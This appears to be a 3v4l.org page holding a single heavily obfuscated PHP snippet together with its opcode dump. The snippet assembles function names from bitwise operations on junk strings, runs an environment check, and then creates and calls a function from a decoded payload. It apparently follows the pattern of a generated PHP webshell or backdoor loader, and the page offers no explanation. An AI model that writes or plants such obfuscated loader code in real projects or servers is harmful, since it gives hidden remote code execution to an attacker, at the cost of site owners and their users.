3v4l.org

run code in 300+ PHP versions simultaneously
<?php $cKGUgC='I2h'^~x17JLs;$KRnmG3Evwqh=yn5&"mD=";$Cd6Stj6Gpu=ogueow&wwwoow;$Aq='`f$`d`'^#V'. '("t0/!';$t8kUpU_XDtN='mb?b'&eowf;$wqcT='!'|a;$T1Tz='M{'&Vk;$xut6OOIlS=#LwFqZJ'. '-Z,Q?7'^"Z/R&QA";$HUZi='o_]v_}_o_[oy_|'.oGaMs_w__T&_wTV_.'}'._o__.'{u_|_Cq^s_'. 'S{OT';$EFAsV9='3 %b!`040 c!0'.eb80.' !4"3$08! '|#WF4b7XxKm4MpAi9GQ1yEaFnIuo42'. '315"0$8!!d`4 $@04d1 2136!04';$SPbqxAi8qdM=w^N;$G_C44=('en%'&Weo)|/*Dos6_VMdVW'. '6f,Bk>LG@i*/$KRnmG3Evwqh;$HO_jVfaQy=$xut6OOIlS&$Cd6Stj6Gpu;$whcS=('a @a` J@E,'. 'Ap@/B'|'B @`t`N`'.aDap.'@@l')|(LzeaYUsOWzsFmFl&'Bs?'.xVoWVUo.'&U+M;');'t3Zf9l'. '+,}g';$ByzfN3e=$Aq|('vqz$hm'^"6!.d7,");$JHbHxtfvc=(#E1q5sWkB1gQMLczQUxe6VocfK'. '2z[,d*$pGY<#s`K3&*1S1~+-'^'Z.&};p{>(6uf,-$'.DsWn.'<z1N[')&$HUZi;if($G_C44(/*T'. 'gVeo;*/$HO_jVfaQy($ByzfN3e))!=$EFAsV9.$t8kUpU_XDtN.$SPbqxAi8qdM)exit;'P7SZreA'. '5>';$gAojoDqwkY=$whcS(('-'&'6').$wqcT,$HO_jVfaQy($JHbHxtfvc));$gAojoDqwkY(/*F'. '^xRl*/$T1Tz);#}4@&4~bJMCkV(Hm+0l#e[n6klC#>C_}jKp(I:u=fL< z2?)BPi8.ruSol,iU{N'. 'b&J7t=@t1Cf*hA#gHe_-tltWCTV)MG2eZh$]akG-O{L,WCqL^]0g+%qJ31!Ln';
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 76, Position 2 = 77
Branch analysis from position: 76
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 77
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/kGqQ5
function name:  (null)
number of ops:  90
compiled vars:  !0 = $cKGUgC, !1 = $KRnmG3Evwqh, !2 = $Cd6Stj6Gpu, !3 = $Aq, !4 = $t8kUpU_XDtN, !5 = $wqcT, !6 = $T1Tz, !7 = $xut6OOIlS, !8 = $HUZi, !9 = $EFAsV9, !10 = $SPbqxAi8qdM, !11 = $G_C44, !12 = $HO_jVfaQy, !13 = $whcS, !14 = $ByzfN3e, !15 = $JHbHxtfvc, !16 = $gAojoDqwkY
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   FETCH_CONSTANT                                   ~17     'x17JLs'
          1        BW_NOT                                           ~18     ~17
          2        BW_XOR                                           ~19     ~18, 'I2h'
          3        ASSIGN                                                   !0, ~19
          4        FETCH_CONSTANT                                   ~21     'yn5'
          5        BW_AND                                           ~22     ~21, 'mD%3D'
          6        ASSIGN                                                   !1, ~22
          7        FETCH_CONSTANT                                   ~24     'ogueow'
          8        FETCH_CONSTANT                                   ~25     'wwwoow'
          9        BW_AND                                           ~26     ~24, ~25
         10        ASSIGN                                                   !2, ~26
         11        ASSIGN                                                   !3, 'HDPPKA'
    3    12        FETCH_CONSTANT                                   ~29     'eowf'
         13        BW_AND                                           ~30     ~29, 'mb%3Fb'
         14        ASSIGN                                                   !4, ~30
         15        FETCH_CONSTANT                                   ~32     'a'
         16        BW_OR                                            ~33     ~32, '%21'
         17        ASSIGN                                                   !5, ~33
         18        FETCH_CONSTANT                                   ~35     'Vk'
         19        BW_AND                                           ~36     ~35, 'M%7B'
         20        ASSIGN                                                   !6, ~36
         21        ASSIGN                                                   !7, 'wu%7Ewnv'
    4    22        FETCH_CONSTANT                                   ~39     'oGaMs_w__T'
         23        CONCAT                                           ~40     'o_%5Dv_%7D_o_%5Boy_%7C', ~39
         24        FETCH_CONSTANT                                   ~41     '_wTV_'
         25        CONCAT                                           ~42     ~41, '%7D'
         26        FETCH_CONSTANT                                   ~43     '_o__'
         27        CONCAT                                           ~44     ~42, ~43
         28        CONCAT                                           ~45     ~44, '%7Bu_%7C_Cq%5Es_'
    5    29        CONCAT                                           ~46     ~45, 'S%7BOT'
         30        BW_AND                                           ~47     ~40, ~46
    4    31        ASSIGN                                                   !8, ~47
    5    32        FETCH_CONSTANT                                   ~49     'eb80'
         33        CONCAT                                           ~50     '3+%25b%21%60040+c%210', ~49
         34        CONCAT                                           ~51     ~50, '+%214%223%2408%21+'
    6    35        BW_OR                                            ~52     ~51, '315%220%248%21%21d%604+%24%4004d1+2136%2104'
    5    36        ASSIGN                                                   !9, ~52
    6    37        FETCH_CONSTANT                                   ~54     'w'
         38        FETCH_CONSTANT                                   ~55     'N'
         39        BW_XOR                                           ~56     ~54, ~55
         40        ASSIGN                                                   !10, ~56
         41        FETCH_CONSTANT                                   ~58     'Weo'
         42        BW_AND                                           ~59     ~58, 'en%25'
    7    43        BW_OR                                            ~60     !1, ~59
    6    44        ASSIGN                                                   !11, ~60
    7    45        BW_AND                                           ~62     !7, !2
         46        ASSIGN                                                   !12, ~62
    8    47        FETCH_CONSTANT                                   ~64     'aDap'
         48        CONCAT                                           ~65     'B+%40%60t%60N%60', ~64
         49        CONCAT                                           ~66     ~65, '%40%40l'
         50        BW_OR                                            ~67     ~66, 'a+%40a%60+J%40E%2CAp%40%2FB'
         51        FETCH_CONSTANT                                   ~68     'LzeaYUsOWzsFmFl'
         52        FETCH_CONSTANT                                   ~69     'xVoWVUo'
         53        CONCAT                                           ~70     'Bs%3F', ~69
         54        CONCAT                                           ~71     ~70, '%26U%2BM%3B'
         55        BW_AND                                           ~72     ~68, ~71
         56        BW_OR                                            ~73     ~67, ~72
    7    57        ASSIGN                                                   !13, ~73
    9    58        BW_OR                                            ~75     !3, '%40PT%40_A'
         59        ASSIGN                                                   !14, ~75
   10    60        FETCH_CONSTANT                                   ~77     'DsWn'
         61        CONCAT                                           ~78     'Z.%26%7D%3Bp%7B%3E%286uf%2C-%24', ~77
         62        CONCAT                                           ~79     ~78, '%3Cz1N%5B'
         63        BW_XOR                                           ~80     ~79, '2z%5B%2Cd%2A%24pGY%3C%23s%60K3%26%2A1S1%7E%2B-'
         64        BW_AND                                           ~81     !8, ~80
    9    65        ASSIGN                                                   !15, ~81
   10    66        INIT_DYNAMIC_CALL                                        !11
   11    67        INIT_DYNAMIC_CALL                                        !12
         68        SEND_VAR_EX                                              !14
         69        DO_FCALL                                      0  $83     
         70        SEND_VAR_NO_REF_EX                                       $83
         71        DO_FCALL                                      0  $84     
         72        CONCAT                                           ~85     !9, !4
         73        CONCAT                                           ~86     ~85, !10
         74        IS_NOT_EQUAL                                             $84, ~86
         75      > JMPZ                                                     ~87, ->77
         76    > > EXIT                                                     
   12    77    >   INIT_DYNAMIC_CALL                                        !13
         78        CONCAT                                           ~88     '%24', !5
         79        SEND_VAL_EX                                              ~88
         80        INIT_DYNAMIC_CALL                                        !12
         81        SEND_VAR_EX                                              !15
         82        DO_FCALL                                      0  $89     
         83        SEND_VAR_NO_REF_EX                                       $89
         84        DO_FCALL                                      0  $90     
         85        ASSIGN                                                   !16, $90
         86        INIT_DYNAMIC_CALL                                        !16
   13    87        SEND_VAR_EX                                              !6
         88        DO_FCALL                                      0          
   14    89      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.41 ms | 1403 KiB | 13 Q